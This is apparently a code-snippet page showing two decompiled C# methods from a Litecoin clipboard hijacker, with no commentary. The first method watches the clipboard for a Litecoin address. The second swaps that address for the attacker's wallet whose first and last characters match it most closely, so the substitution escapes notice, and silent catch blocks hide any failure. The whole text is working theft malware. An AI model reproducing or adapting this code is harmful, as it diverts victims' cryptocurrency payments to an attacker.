Ejemplo n.º 1
0
 // Token: 0x060002DC RID: 732 RVA: 0x0001345C File Offset: 0x0001165C
 public static void GetLiteCoinWhile()
 {
     try
     {
         if (Clipboard.ContainsText())
         {
             string text = Clipboard.GetText();
             if (!Config.walletsltc.Contains(text) && CheckLTC.Clipregex(text))
             {
                 CheckLTC.SetsLTC(text);
             }
         }
     }
     catch
     {
     }
 }
Ejemplo n.º 2
0
 // Token: 0x060002DF RID: 735 RVA: 0x000134E8 File Offset: 0x000116E8
 internal static void SetsLTC(string originalClipboardText)
 {
     try
     {
         string           b       = originalClipboardText.Trim();
         HashSet <string> hashSet = new HashSet <string>();
         int num = 0;
         foreach (string text in Config.walletsltc.ToList <string>())
         {
             int num2 = CheckLTC.FirstCharFitNum(text, b);
             if (num2 >= num)
             {
                 if (num2 == num)
                 {
                     hashSet.Add(text);
                 }
                 else if (num2 > num)
                 {
                     hashSet.Clear();
                     num = num2;
                     hashSet.Add(text);
                     Clipboard.SetText(text);
                 }
             }
         }
         int num3 = 0;
         foreach (string text2 in hashSet)
         {
             int num4 = CheckLTC.LastCharFitNum(text2, b);
             if (num4 > num3)
             {
                 num3 = num4;
                 Clipboard.SetText(text2);
             }
         }
     }
     catch
     {
     }
 }